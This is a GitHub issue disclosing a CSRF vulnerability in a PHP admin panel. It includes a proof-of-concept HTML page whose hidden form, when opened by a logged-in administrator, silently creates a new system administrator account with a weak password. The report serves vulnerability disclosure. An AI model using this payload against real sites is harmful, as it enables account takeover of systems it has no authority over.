New issue

Jump to bottom

There is a CSRF vulnerability that can add the administrator account #5

Open **hellogoldsnakeman** opened this issue on May 3, 2019 · 0 comments

hellogoldsnakeman commented on May 3, 2019 • edited

After the administrator logged in, open the following page can add an administrator user named admin
poc:
test.html---add an administrator user named admin

```
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin.php?c=admin&f=save" method="POST">
      <input type="hidden" name="account" value="admin" />
      <input type="hidden" name="pass" value="123456" />
      <input type="hidden" name="email" value="test&#64;163&#46;com" />
      <input type="hidden" name="status" value="1" />
      <input type="hidden" name="if&#95;system" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>
```

Assignees

No one assigned

Labels

None yet

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

1 participant